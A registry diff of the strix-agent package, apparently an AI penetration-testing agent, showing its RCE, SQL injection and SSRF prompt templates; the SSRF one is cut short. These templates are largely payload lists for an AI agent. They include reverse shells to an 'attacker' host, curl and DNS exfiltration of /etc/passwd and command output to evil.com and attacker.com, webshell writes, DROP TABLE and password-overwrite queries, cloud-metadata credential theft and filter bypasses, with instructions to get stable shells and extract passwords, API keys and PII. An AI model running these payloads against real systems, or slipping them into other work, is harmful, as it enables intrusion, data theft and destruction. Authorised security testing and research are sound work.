strix-agent 0.1.1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- strix/__init__.py +0 -0
- strix/agents/StrixAgent/__init__.py +4 -0
- strix/agents/StrixAgent/strix_agent.py +60 -0
- strix/agents/StrixAgent/system_prompt.jinja +504 -0
- strix/agents/__init__.py +10 -0
- strix/agents/base_agent.py +394 -0
- strix/agents/state.py +139 -0
- strix/cli/__init__.py +4 -0
- strix/cli/app.py +1124 -0
- strix/cli/assets/cli.tcss +680 -0
- strix/cli/main.py +542 -0
- strix/cli/tool_components/__init__.py +39 -0
- strix/cli/tool_components/agents_graph_renderer.py +129 -0
- strix/cli/tool_components/base_renderer.py +61 -0
- strix/cli/tool_components/browser_renderer.py +107 -0
- strix/cli/tool_components/file_edit_renderer.py +95 -0
- strix/cli/tool_components/finish_renderer.py +32 -0
- strix/cli/tool_components/notes_renderer.py +108 -0
- strix/cli/tool_components/proxy_renderer.py +255 -0
- strix/cli/tool_components/python_renderer.py +34 -0
- strix/cli/tool_components/registry.py +72 -0
- strix/cli/tool_components/reporting_renderer.py +53 -0
- strix/cli/tool_components/scan_info_renderer.py +58 -0
- strix/cli/tool_components/terminal_renderer.py +99 -0
- strix/cli/tool_components/thinking_renderer.py +29 -0
- strix/cli/tool_components/user_message_renderer.py +43 -0
- strix/cli/tool_components/web_search_renderer.py +28 -0
- strix/cli/tracer.py +308 -0
- strix/llm/__init__.py +14 -0
- strix/llm/config.py +19 -0
- strix/llm/llm.py +310 -0
- strix/llm/memory_compressor.py +206 -0
- strix/llm/request_queue.py +63 -0
- strix/llm/utils.py +84 -0
- strix/prompts/__init__.py +113 -0
- strix/prompts/coordination/root_agent.jinja +41 -0
- strix/prompts/vulnerabilities/authentication_jwt.jinja +129 -0
- strix/prompts/vulnerabilities/business_logic.jinja +143 -0
- strix/prompts/vulnerabilities/csrf.jinja +168 -0
- strix/prompts/vulnerabilities/idor.jinja +164 -0
- strix/prompts/vulnerabilities/race_conditions.jinja +194 -0
- strix/prompts/vulnerabilities/rce.jinja +222 -0
- strix/prompts/vulnerabilities/sql_injection.jinja +216 -0
- strix/prompts/vulnerabilities/ssrf.jinja +168 -0
- strix/prompts/vulnerabilities/xss.jinja +221 -0
- strix/prompts/vulnerabilities/xxe.jinja +276 -0
- strix/runtime/__init__.py +19 -0
- strix/runtime/docker_runtime.py +298 -0
- strix/runtime/runtime.py +25 -0
- strix/runtime/tool_server.py +97 -0
- strix/tools/__init__.py +64 -0
- strix/tools/agents_graph/__init__.py +16 -0
- strix/tools/agents_graph/agents_graph_actions.py +610 -0
- strix/tools/agents_graph/agents_graph_actions_schema.xml +223 -0
- strix/tools/argument_parser.py +120 -0
- strix/tools/browser/__init__.py +4 -0
- strix/tools/browser/browser_actions.py +236 -0
- strix/tools/browser/browser_actions_schema.xml +183 -0
- strix/tools/browser/browser_instance.py +533 -0
- strix/tools/browser/tab_manager.py +342 -0
- strix/tools/executor.py +302 -0
- strix/tools/file_edit/__init__.py +4 -0
- strix/tools/file_edit/file_edit_actions.py +141 -0
- strix/tools/file_edit/file_edit_actions_schema.xml +128 -0
- strix/tools/finish/__init__.py +4 -0
- strix/tools/finish/finish_actions.py +167 -0
- strix/tools/finish/finish_actions_schema.xml +45 -0
- strix/tools/notes/__init__.py +14 -0
- strix/tools/notes/notes_actions.py +191 -0
- strix/tools/notes/notes_actions_schema.xml +150 -0
- strix/tools/proxy/__init__.py +20 -0
- strix/tools/proxy/proxy_actions.py +101 -0
- strix/tools/proxy/proxy_actions_schema.xml +267 -0
- strix/tools/proxy/proxy_manager.py +785 -0
- strix/tools/python/__init__.py +4 -0
- strix/tools/python/python_actions.py +47 -0
- strix/tools/python/python_actions_schema.xml +131 -0
- strix/tools/python/python_instance.py +172 -0
- strix/tools/python/python_manager.py +131 -0
- strix/tools/registry.py +196 -0
- strix/tools/reporting/__init__.py +6 -0
- strix/tools/reporting/reporting_actions.py +63 -0
- strix/tools/reporting/reporting_actions_schema.xml +30 -0
- strix/tools/terminal/__init__.py +4 -0
- strix/tools/terminal/terminal_actions.py +53 -0
- strix/tools/terminal/terminal_actions_schema.xml +114 -0
- strix/tools/terminal/terminal_instance.py +231 -0
- strix/tools/terminal/terminal_manager.py +191 -0
- strix/tools/thinking/__init__.py +4 -0
- strix/tools/thinking/thinking_actions.py +18 -0
- strix/tools/thinking/thinking_actions_schema.xml +52 -0
- strix/tools/web_search/__init__.py +4 -0
- strix/tools/web_search/web_search_actions.py +80 -0
- strix/tools/web_search/web_search_actions_schema.xml +83 -0
- strix_agent-0.1.1.dist-info/LICENSE +201 -0
- strix_agent-0.1.1.dist-info/METADATA +200 -0
- strix_agent-0.1.1.dist-info/RECORD +99 -0
- strix_agent-0.1.1.dist-info/WHEEL +4 -0
- strix_agent-0.1.1.dist-info/entry_points.txt +3 -0
@@ -0,0 +1,222 @@
|
|
1
|
+
<rce_vulnerability_guide>
|
2
|
+
<title>REMOTE CODE EXECUTION (RCE) - MASTER EXPLOITATION</title>
|
3
|
+
|
4
|
+
<critical>RCE is the holy grail - complete system compromise. Modern RCE requires sophisticated bypass techniques.</critical>
|
5
|
+
|
6
|
+
<common_injection_contexts>
|
7
|
+
- System commands: ping, nslookup, traceroute, whois
|
8
|
+
- File operations: upload, download, convert, resize
|
9
|
+
- PDF generators: wkhtmltopdf, phantomjs
|
10
|
+
- Image processors: ImageMagick, GraphicsMagick
|
11
|
+
- Media converters: ffmpeg, sox
|
12
|
+
- Archive handlers: tar, zip, 7z
|
13
|
+
- Version control: git, svn operations
|
14
|
+
- LDAP queries
|
15
|
+
- Database backup/restore
|
16
|
+
- Email sending functions
|
17
|
+
</common_injection_contexts>
|
18
|
+
|
19
|
+
<detection_methods>
|
20
|
+
<time_based>
|
21
|
+
- Linux/Unix: ;sleep 10 # | sleep 10 # `sleep 10` $(sleep 10)
|
22
|
+
- Windows: & ping -n 10 127.0.0.1 & || ping -n 10 127.0.0.1 ||
|
23
|
+
- PowerShell: ;Start-Sleep -s 10 #
|
24
|
+
</time_based>
|
25
|
+
|
26
|
+
<dns_oob>
|
27
|
+
- nslookup $(whoami).attacker.com
|
28
|
+
- ping $(hostname).attacker.com
|
29
|
+
- curl http://$(cat /etc/passwd | base64).attacker.com
|
30
|
+
</dns_oob>
|
31
|
+
|
32
|
+
<output_based>
|
33
|
+
- Direct: ;cat /etc/passwd
|
34
|
+
- Encoded: ;cat /etc/passwd | base64
|
35
|
+
- Hex: ;xxd -p /etc/passwd
|
36
|
+
</output_based>
|
37
|
+
</detection_methods>
|
38
|
+
|
39
|
+
<command_injection_vectors>
|
40
|
+
<basic_payloads>
|
41
|
+
; id
|
42
|
+
| id
|
43
|
+
|| id
|
44
|
+
& id
|
45
|
+
&& id
|
46
|
+
`id`
|
47
|
+
$(id)
|
48
|
+
${IFS}id
|
49
|
+
</basic_payloads>
|
50
|
+
|
51
|
+
<bypass_techniques>
|
52
|
+
- Space bypass: ${IFS}, $IFS$9, <, %09 (tab)
|
53
|
+
- Blacklist bypass: w'h'o'a'm'i, w"h"o"a"m"i
|
54
|
+
- Command substitution: $(a=c;b=at;$a$b /etc/passwd)
|
55
|
+
- Encoding: echo 'aWQ=' | base64 -d | sh
|
56
|
+
- Case variation: WhOaMi (Windows)
|
57
|
+
</bypass_techniques>
|
58
|
+
</command_injection_vectors>
|
59
|
+
|
60
|
+
<language_specific_rce>
|
61
|
+
<php>
|
62
|
+
- eval($_GET['cmd'])
|
63
|
+
- system(), exec(), shell_exec(), passthru()
|
64
|
+
- preg_replace with /e modifier
|
65
|
+
- assert() with string input
|
66
|
+
- unserialize() exploitation
|
67
|
+
</php>
|
68
|
+
|
69
|
+
<python>
|
70
|
+
- eval(), exec()
|
71
|
+
- subprocess.call(shell=True)
|
72
|
+
- os.system()
|
73
|
+
- pickle deserialization
|
74
|
+
- yaml.load()
|
75
|
+
</python>
|
76
|
+
|
77
|
+
<java>
|
78
|
+
- Runtime.getRuntime().exec()
|
79
|
+
- ProcessBuilder
|
80
|
+
- ScriptEngine eval
|
81
|
+
- JNDI injection
|
82
|
+
- Expression Language injection
|
83
|
+
</java>
|
84
|
+
|
85
|
+
<nodejs>
|
86
|
+
- eval()
|
87
|
+
- child_process.exec()
|
88
|
+
- vm.runInContext()
|
89
|
+
- require() pollution
|
90
|
+
</nodejs>
|
91
|
+
</language_specific_rce>
|
92
|
+
|
93
|
+
<advanced_exploitation>
|
94
|
+
<polyglot_payloads>
|
95
|
+
Works in multiple contexts:
|
96
|
+
;id;#' |id| #" |id| #
|
97
|
+
${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}
|
98
|
+
</polyglot_payloads>
|
99
|
+
|
100
|
+
<blind_rce>
|
101
|
+
- DNS exfiltration: $(whoami).evil.com
|
102
|
+
- HTTP callbacks: curl evil.com/$(id)
|
103
|
+
- Time delays for boolean extraction
|
104
|
+
- Write to web root: echo '<?php system($_GET["cmd"]); ?>' > /var/www/shell.php
|
105
|
+
</blind_rce>
|
106
|
+
|
107
|
+
<chained_exploitation>
|
108
|
+
1. Command injection → Write webshell
|
109
|
+
2. File upload → LFI → RCE
|
110
|
+
3. XXE → SSRF → internal RCE
|
111
|
+
4. SQLi → INTO OUTFILE → RCE
|
112
|
+
</chained_exploitation>
|
113
|
+
</advanced_exploitation>
|
114
|
+
|
115
|
+
<specific_contexts>
|
116
|
+
<imagemagick>
|
117
|
+
push graphic-context
|
118
|
+
viewbox 0 0 640 480
|
119
|
+
fill 'url(https://evil.com/image.jpg"|id > /tmp/output")'
|
120
|
+
pop graphic-context
|
121
|
+
</imagemagick>
|
122
|
+
|
123
|
+
<ghostscript>
|
124
|
+
%!PS
|
125
|
+
/outfile (%pipe%id) (w) file def
|
126
|
+
</ghostscript>
|
127
|
+
|
128
|
+
<ffmpeg>
|
129
|
+
#EXTM3U
|
130
|
+
#EXT-X-TARGETDURATION:1
|
131
|
+
#EXTINF:1.0,
|
132
|
+
concat:|file:///etc/passwd
|
133
|
+
</ffmpeg>
|
134
|
+
|
135
|
+
<latex>
|
136
|
+
\immediate\write18{id > /tmp/pwn}
|
137
|
+
\input{|"cat /etc/passwd"}
|
138
|
+
</latex>
|
139
|
+
</specific_contexts>
|
140
|
+
|
141
|
+
<container_escapes>
|
142
|
+
<docker>
|
143
|
+
- Privileged containers: mount host filesystem
|
144
|
+
- Docker.sock exposure
|
145
|
+
- Kernel exploits
|
146
|
+
- /proc/self/exe overwrite
|
147
|
+
</docker>
|
148
|
+
|
149
|
+
<kubernetes>
|
150
|
+
- Service account tokens
|
151
|
+
- Kubelet API access
|
152
|
+
- Container breakout to node
|
153
|
+
</kubernetes>
|
154
|
+
</container_escapes>
|
155
|
+
|
156
|
+
<waf_bypasses>
|
157
|
+
- Unicode normalization
|
158
|
+
- Double URL encoding
|
159
|
+
- Case variation mixing
|
160
|
+
- Null bytes: %00
|
161
|
+
- Comments: /**/i/**/d
|
162
|
+
- Alternative commands: hostname vs uname -n
|
163
|
+
- Path traversal: /usr/bin/id vs id
|
164
|
+
</waf_bypasses>
|
165
|
+
|
166
|
+
<post_exploitation>
|
167
|
+
<reverse_shells>
|
168
|
+
Bash: bash -i >& /dev/tcp/attacker/4444 0>&1
|
169
|
+
Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
170
|
+
Netcat: nc -e /bin/sh attacker 4444
|
171
|
+
PowerShell: $client = New-Object System.Net.Sockets.TCPClient("attacker",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
172
|
+
</reverse_shells>
|
173
|
+
|
174
|
+
<persistence>
|
175
|
+
- Cron jobs
|
176
|
+
- SSH keys
|
177
|
+
- Web shells
|
178
|
+
- Systemd services
|
179
|
+
</persistence>
|
180
|
+
</post_exploitation>
|
181
|
+
|
182
|
+
<validation>
|
183
|
+
To confirm RCE:
|
184
|
+
1. Execute unique command (id, hostname)
|
185
|
+
2. Demonstrate file system access
|
186
|
+
3. Show command output retrieval
|
187
|
+
4. Achieve reverse shell
|
188
|
+
5. Prove consistent execution
|
189
|
+
</validation>
|
190
|
+
|
191
|
+
<false_positives>
|
192
|
+
NOT RCE if:
|
193
|
+
- Only crashes application
|
194
|
+
- Limited to specific commands
|
195
|
+
- Sandboxed/containerized properly
|
196
|
+
- No actual command execution
|
197
|
+
- Output not retrievable
|
198
|
+
</false_positives>
|
199
|
+
|
200
|
+
<impact>
|
201
|
+
- Complete system compromise
|
202
|
+
- Data exfiltration
|
203
|
+
- Lateral movement
|
204
|
+
- Backdoor installation
|
205
|
+
- Service disruption
|
206
|
+
</impact>
|
207
|
+
|
208
|
+
<pro_tips>
|
209
|
+
1. Try all delimiters: ; | || & &&
|
210
|
+
2. Test both Unix and Windows commands
|
211
|
+
3. Use time-based for blind confirmation
|
212
|
+
4. Chain with other vulnerabilities
|
213
|
+
5. Check sudo permissions post-exploit
|
214
|
+
6. Look for SUID binaries
|
215
|
+
7. Test command substitution variants
|
216
|
+
8. Monitor DNS for blind RCE
|
217
|
+
9. Try polyglot payloads first
|
218
|
+
10. Document full exploitation path
|
219
|
+
</pro_tips>
|
220
|
+
|
221
|
+
<remember>Modern RCE often requires chaining vulnerabilities and bypassing filters. Focus on blind techniques, WAF bypasses, and achieving stable shells. Always test in the specific context - ImageMagick RCE differs from command injection.</remember>
|
222
|
+
</rce_vulnerability_guide>
|
@@ -0,0 +1,216 @@
|
|
1
|
+
<sql_injection_guide>
|
2
|
+
<title>SQL INJECTION - MASTER CLASS TECHNIQUES</title>
|
3
|
+
|
4
|
+
<critical>SQL Injection = direct database access = game over.</critical>
|
5
|
+
|
6
|
+
<injection_points>
|
7
|
+
- URL parameters: ?id=1
|
8
|
+
- POST body parameters
|
9
|
+
- HTTP headers: User-Agent, Referer, X-Forwarded-For
|
10
|
+
- Cookie values
|
11
|
+
- JSON/XML payloads
|
12
|
+
- File upload names
|
13
|
+
- Session identifiers
|
14
|
+
</injection_points>
|
15
|
+
|
16
|
+
<detection_techniques>
|
17
|
+
- Time-based: ' AND SLEEP(5)--
|
18
|
+
- Boolean-based: ' AND '1'='1 vs ' AND '1'='2
|
19
|
+
- Error-based: ' (provoke verbose errors)
|
20
|
+
- Out-of-band: DNS/HTTP callbacks
|
21
|
+
- Differential response: content length changes
|
22
|
+
- Second-order: stored and triggered later
|
23
|
+
</detection_techniques>
|
24
|
+
|
25
|
+
<uncommon_contexts>
|
26
|
+
- ORDER BY: (CASE WHEN condition THEN 1 ELSE 2 END)
|
27
|
+
- GROUP BY: GROUP BY id HAVING 1=1--
|
28
|
+
- INSERT: INSERT INTO users VALUES (1,'admin',(SELECT password FROM admins))--
|
29
|
+
- UPDATE: UPDATE users SET email=(SELECT @@version) WHERE id=1
|
30
|
+
- Functions: WHERE MATCH(title) AGAINST((SELECT password FROM users LIMIT 1))
|
31
|
+
</uncommon_contexts>
|
32
|
+
|
33
|
+
<basic_payloads>
|
34
|
+
<union_based>
|
35
|
+
' UNION SELECT null--
|
36
|
+
' UNION SELECT null,null--
|
37
|
+
' UNION SELECT 1,2,3--
|
38
|
+
' UNION SELECT 1,@@version,3--
|
39
|
+
' UNION ALL SELECT 1,database(),3--
|
40
|
+
</union_based>
|
41
|
+
|
42
|
+
<error_based>
|
43
|
+
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--
|
44
|
+
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
|
45
|
+
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
|
46
|
+
</error_based>
|
47
|
+
|
48
|
+
<blind_boolean>
|
49
|
+
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
|
50
|
+
' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--
|
51
|
+
' AND (SELECT COUNT(*) FROM users)>5--
|
52
|
+
</blind_boolean>
|
53
|
+
|
54
|
+
<blind_time>
|
55
|
+
' AND IF(1=1,SLEEP(5),0)--
|
56
|
+
' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--
|
57
|
+
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
|
58
|
+
'; SELECT pg_sleep(5)-- (PostgreSQL)
|
59
|
+
</blind_time>
|
60
|
+
</basic_payloads>
|
61
|
+
|
62
|
+
<advanced_techniques>
|
63
|
+
<stacked_queries>
|
64
|
+
'; DROP TABLE users--
|
65
|
+
'; INSERT INTO admins VALUES ('hacker','password')--
|
66
|
+
'; UPDATE users SET password='hacked' WHERE username='admin'--
|
67
|
+
</stacked_queries>
|
68
|
+
|
69
|
+
<out_of_band>
|
70
|
+
MySQL:
|
71
|
+
' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))--
|
72
|
+
' UNION SELECT LOAD_FILE('/etc/passwd')--
|
73
|
+
|
74
|
+
MSSQL:
|
75
|
+
'; EXEC xp_dirtree '\\attacker.com\share'--
|
76
|
+
'; EXEC xp_cmdshell 'nslookup attacker.com'--
|
77
|
+
|
78
|
+
PostgreSQL:
|
79
|
+
'; CREATE EXTENSION dblink; SELECT dblink_connect('host=attacker.com')--
|
80
|
+
</out_of_band>
|
81
|
+
|
82
|
+
<file_operations>
|
83
|
+
MySQL:
|
84
|
+
' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')--
|
85
|
+
' UNION SELECT 1,2,'<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'--
|
86
|
+
|
87
|
+
MSSQL:
|
88
|
+
'; EXEC xp_cmdshell 'type C:\Windows\win.ini'--
|
89
|
+
|
90
|
+
PostgreSQL:
|
91
|
+
'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'--
|
92
|
+
</file_operations>
|
93
|
+
</advanced_techniques>
|
94
|
+
|
95
|
+
<filter_bypasses>
|
96
|
+
<space_bypass>
|
97
|
+
- Comments: /**/
|
98
|
+
- Parentheses: UNION(SELECT)
|
99
|
+
- Backticks: UNION`SELECT`
|
100
|
+
- Newlines: %0A, %0D
|
101
|
+
- Tabs: %09
|
102
|
+
</space_bypass>
|
103
|
+
|
104
|
+
<keyword_bypass>
|
105
|
+
- Case variation: UnIoN SeLeCt
|
106
|
+
- Comments: UN/**/ION SE/**/LECT
|
107
|
+
- Encoding: %55nion %53elect
|
108
|
+
- Double words: UNUNIONION SESELECTLECT
|
109
|
+
</keyword_bypass>
|
110
|
+
|
111
|
+
<waf_bypasses>
|
112
|
+
- HTTP Parameter Pollution: id=1&id=' UNION SELECT
|
113
|
+
- JSON/XML format switching
|
114
|
+
- Chunked encoding
|
115
|
+
- Unicode normalization
|
116
|
+
- Scientific notation: 1e0 UNION SELECT
|
117
|
+
</waf_bypasses>
|
118
|
+
</filter_bypasses>
|
119
|
+
|
120
|
+
<specific_databases>
|
121
|
+
<mysql>
|
122
|
+
- Version: @@version
|
123
|
+
- Database: database()
|
124
|
+
- User: user(), current_user()
|
125
|
+
- Tables: information_schema.tables
|
126
|
+
- Columns: information_schema.columns
|
127
|
+
</mysql>
|
128
|
+
|
129
|
+
<mssql>
|
130
|
+
- Version: @@version
|
131
|
+
- Database: db_name()
|
132
|
+
- User: user_name(), system_user
|
133
|
+
- Tables: sysobjects WHERE xtype='U'
|
134
|
+
- Enable xp_cmdshell: sp_configure 'xp_cmdshell',1;RECONFIGURE
|
135
|
+
</mssql>
|
136
|
+
|
137
|
+
<postgresql>
|
138
|
+
- Version: version()
|
139
|
+
- Database: current_database()
|
140
|
+
- User: current_user
|
141
|
+
- Tables: pg_tables
|
142
|
+
- Command execution: CREATE EXTENSION
|
143
|
+
</postgresql>
|
144
|
+
|
145
|
+
<oracle>
|
146
|
+
- Version: SELECT banner FROM v$version
|
147
|
+
- Database: SELECT ora_database_name FROM dual
|
148
|
+
- User: SELECT user FROM dual
|
149
|
+
- Tables: all_tables
|
150
|
+
</oracle>
|
151
|
+
</specific_databases>
|
152
|
+
|
153
|
+
<nosql_injection>
|
154
|
+
<mongodb>
|
155
|
+
{"username": {"$ne": null}, "password": {"$ne": null}}
|
156
|
+
{"$where": "this.username == 'admin'"}
|
157
|
+
{"username": {"$regex": "^admin"}}
|
158
|
+
</mongodb>
|
159
|
+
|
160
|
+
<graphql>
|
161
|
+
{users(where:{OR:[{id:1},{id:2}]}){id,password}}
|
162
|
+
{__schema{types{name,fields{name}}}}
|
163
|
+
</graphql>
|
164
|
+
</nosql_injection>
|
165
|
+
|
166
|
+
<automation>
|
167
|
+
SQLMap flags:
|
168
|
+
- Risk/Level: --risk=3 --level=5
|
169
|
+
- Bypass WAF: --tamper=space2comment,between
|
170
|
+
- OS Shell: --os-shell
|
171
|
+
- Database dump: --dump-all
|
172
|
+
- Specific technique: --technique=T (time-based)
|
173
|
+
</automation>
|
174
|
+
|
175
|
+
<validation>
|
176
|
+
To confirm SQL injection:
|
177
|
+
1. Demonstrate database version extraction
|
178
|
+
2. Show database/table enumeration
|
179
|
+
3. Extract actual data
|
180
|
+
4. Prove query manipulation
|
181
|
+
5. Document consistent exploitation
|
182
|
+
</validation>
|
183
|
+
|
184
|
+
<false_positives>
|
185
|
+
NOT SQLi if:
|
186
|
+
- Only generic errors
|
187
|
+
- No time delays work
|
188
|
+
- Same response for all payloads
|
189
|
+
- Parameterized queries properly used
|
190
|
+
- Input validation effective
|
191
|
+
</false_positives>
|
192
|
+
|
193
|
+
<impact>
|
194
|
+
- Database content theft
|
195
|
+
- Authentication bypass
|
196
|
+
- Data manipulation
|
197
|
+
- Command execution (xp_cmdshell)
|
198
|
+
- File system access
|
199
|
+
- Complete database takeover
|
200
|
+
</impact>
|
201
|
+
|
202
|
+
<pro_tips>
|
203
|
+
1. Always try UNION SELECT first
|
204
|
+
2. Use sqlmap for automation
|
205
|
+
3. Test all HTTP headers
|
206
|
+
4. Try different encodings
|
207
|
+
5. Check for second-order SQLi
|
208
|
+
6. Test JSON/XML parameters
|
209
|
+
7. Look for error messages
|
210
|
+
8. Try time-based for blind
|
211
|
+
9. Check INSERT/UPDATE contexts
|
212
|
+
10. Focus on data extraction
|
213
|
+
</pro_tips>
|
214
|
+
|
215
|
+
<remember>Modern SQLi requires bypassing WAFs and dealing with complex queries. Focus on extracting sensitive data - passwords, API keys, PII. Time-based blind SQLi works when nothing else does.</remember>
|
216
|
+
</sql_injection_guide>
|
@@ -0,0 +1,168 @@
|
|
1
|
+
<ssrf_vulnerability_guide>
|
2
|
+
<title>SERVER-SIDE REQUEST FORGERY (SSRF) - ADVANCED EXPLOITATION</title>
|
3
|
+
|
4
|
+
<critical>SSRF can lead to internal network access, cloud metadata theft, and complete infrastructure compromise.</critical>
|
5
|
+
|
6
|
+
<common_injection_points>
|
7
|
+
- URL parameters: url=, link=, path=, src=, href=, uri=
|
8
|
+
- File import/export features
|
9
|
+
- Webhooks and callbacks
|
10
|
+
- PDF generators (wkhtmltopdf)
|
11
|
+
- Image processing (ImageMagick)
|
12
|
+
- Document parsers
|
13
|
+
- Payment gateways (IPN callbacks)
|
14
|
+
- Social media card generators
|
15
|
+
- URL shorteners/expanders
|
16
|
+
</common_injection_points>
|
17
|
+
|
18
|
+
<hidden_contexts>
|
19
|
+
- Referer headers in analytics
|
20
|
+
- Link preview generation
|
21
|
+
- RSS/Feed fetchers
|
22
|
+
- Repository cloning (Git/SVN)
|
23
|
+
- Package managers (npm, pip)
|
24
|
+
- Calendar invites (ICS files)
|
25
|
+
- OAuth redirect_uri
|
26
|
+
- SAML endpoints
|
27
|
+
- GraphQL field resolvers
|
28
|
+
</hidden_contexts>
|
29
|
+
|
30
|
+
<cloud_metadata>
|
31
|
+
<aws>
|
32
|
+
Legacy: http://169.254.169.254/latest/meta-data/
|
33
|
+
IMDSv2: Requires token but check if app proxies headers
|
34
|
+
Key targets: /iam/security-credentials/, /user-data/
|
35
|
+
</aws>
|
36
|
+
|
37
|
+
<google_cloud>
|
38
|
+
http://metadata.google.internal/computeMetadata/v1/
|
39
|
+
Requires: Metadata-Flavor: Google header
|
40
|
+
Target: /instance/service-accounts/default/token
|
41
|
+
</google_cloud>
|
42
|
+
|
43
|
+
<azure>
|
44
|
+
http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
45
|
+
Requires: Metadata: true header
|
46
|
+
OAuth: /metadata/identity/oauth2/token
|
47
|
+
</azure>
|
48
|
+
</cloud_metadata>
|
49
|
+
|
50
|
+
<internal_services>
|
51
|
+
<port_scanning>
|
52
|
+
Common ports: 21,22,80,443,445,1433,3306,3389,5432,6379,8080,9200,27017
|
53
|
+
</port_scanning>
|
54
|
+
|
55
|
+
<service_fingerprinting>
|
56
|
+
- Elasticsearch: http://localhost:9200/_cat/indices
|
57
|
+
- Redis: dict://localhost:6379/INFO
|
58
|
+
- MongoDB: http://localhost:27017/test
|
59
|
+
- Docker: http://localhost:2375/v1.24/containers/json
|
60
|
+
- Kubernetes: https://kubernetes.default.svc/api/v1/
|
61
|
+
</service_fingerprinting>
|
62
|
+
</internal_services>
|
63
|
+
|
64
|
+
<protocol_exploitation>
|
65
|
+
<gopher>
|
66
|
+
Redis RCE, SMTP injection, FastCGI exploitation
|
67
|
+
</gopher>
|
68
|
+
|
69
|
+
<file>
|
70
|
+
file:///etc/passwd, file:///proc/self/environ
|
71
|
+
</file>
|
72
|
+
|
73
|
+
<dict>
|
74
|
+
dict://localhost:11211/stat (Memcached)
|
75
|
+
</dict>
|
76
|
+
</protocol_exploitation>
|
77
|
+
|
78
|
+
<bypass_techniques>
|
79
|
+
<dns_rebinding>
|
80
|
+
First request → your server, second → 127.0.0.1
|
81
|
+
</dns_rebinding>
|
82
|
+
|
83
|
+
<encoding_tricks>
|
84
|
+
- Decimal IP: http://2130706433/ (127.0.0.1)
|
85
|
+
- Octal: http://0177.0.0.1/
|
86
|
+
- Hex: http://0x7f.0x0.0x0.0x1/
|
87
|
+
- IPv6: http://[::1]/, http://[::ffff:127.0.0.1]/
|
88
|
+
</encoding_tricks>
|
89
|
+
|
90
|
+
<url_parser_confusion>
|
91
|
+
- Authority: http://expected@evil/
|
92
|
+
- Unicode: http://⑯⑨。②⑤④。⑯⑨。②⑤④/
|
93
|
+
</url_parser_confusion>
|
94
|
+
|
95
|
+
<redirect_chains>
|
96
|
+
302 → yourserver.com → 169.254.169.254
|
97
|
+
</redirect_chains>
|
98
|
+
</bypass_techniques>
|
99
|
+
|
100
|
+
<advanced_techniques>
|
101
|
+
<blind_ssrf>
|
102
|
+
- DNS exfiltration: http://$(hostname).attacker.com/
|
103
|
+
- Timing attacks for network mapping
|
104
|
+
- Error-based detection
|
105
|
+
</blind_ssrf>
|
106
|
+
|
107
|
+
<ssrf_to_rce>
|
108
|
+
- Redis: gopher://localhost:6379/ (cron injection)
|
109
|
+
- Memcached: gopher://localhost:11211/
|
110
|
+
- FastCGI: gopher://localhost:9000/
|
111
|
+
</ssrf_to_rce>
|
112
|
+
</advanced_techniques>
|
113
|
+
|
114
|
+
<filter_bypasses>
|
115
|
+
<localhost>
|
116
|
+
127.1, 0177.0.0.1, 0x7f000001, 2130706433, 127.0.0.0/8, localtest.me
|
117
|
+
</localhost>
|
118
|
+
|
119
|
+
<parser_differentials>
|
120
|
+
http://evil.com#@good.com/, http:evil.com
|
121
|
+
</parser_differentials>
|
122
|
+
|
123
|
+
<protocols>
|
124
|
+
dict://, gopher://, ftp://, file://, jar://, netdoc://
|
125
|
+
</protocols>
|
126
|
+
</filter_bypasses>
|
127
|
+
|
128
|
+
<validation_techniques>
|
129
|
+
To confirm SSRF:
|
130
|
+
1. External callbacks (DNS/HTTP)
|
131
|
+
2. Internal network access (different responses)
|
132
|
+
3. Time-based detection (timeouts)
|
133
|
+
4. Cloud metadata retrieval
|
134
|
+
5. Protocol differentiation
|
135
|
+
</validation_techniques>
|
136
|
+
|
137
|
+
<false_positive_indicators>
|
138
|
+
NOT SSRF if:
|
139
|
+
- Only client-side redirects
|
140
|
+
- Whitelist properly blocking
|
141
|
+
- Generic errors for all URLs
|
142
|
+
- No outbound requests made
|
143
|
+
- Same-origin policy enforced
|
144
|
+
</false_positive_indicators>
|
145
|
+
|
146
|
+
<impact_demonstration>
|
147
|
+
- Cloud credential theft (AWS/GCP/Azure)
|
148
|
+
- Internal admin panel access
|
149
|
+
- Port scanning results
|
150
|
+
- SSRF to RCE chain
|
151
|
+
- Data exfiltration
|
152
|
+
</impact_demonstration>
|
153
|
+
|
154
|
+
<pro_tips>
|
155
|
+
1. Always check cloud metadata first
|
156
|
+
2. Chain with other vulns (SSRF + XXE)
|
157
|
+
3. Use time delays for blind SSRF
|
158
|
+
4. Try all protocols, not just HTTP
|
159
|
+
5. Automate internal network scanning
|
160
|
+
6. Check parser quirks (language-specific)
|
161
|
+
7. Monitor DNS for blind confirmation
|
162
|
+
8. Try IPv6 (often forgotten)
|
163
|
+
9. Abuse redirects for filter bypass
|
164
|
+
10. SSRF can be in any URL-fetching feature
|
165
|
+
</pro_tips>
|
166
|
+
|
167
|
+
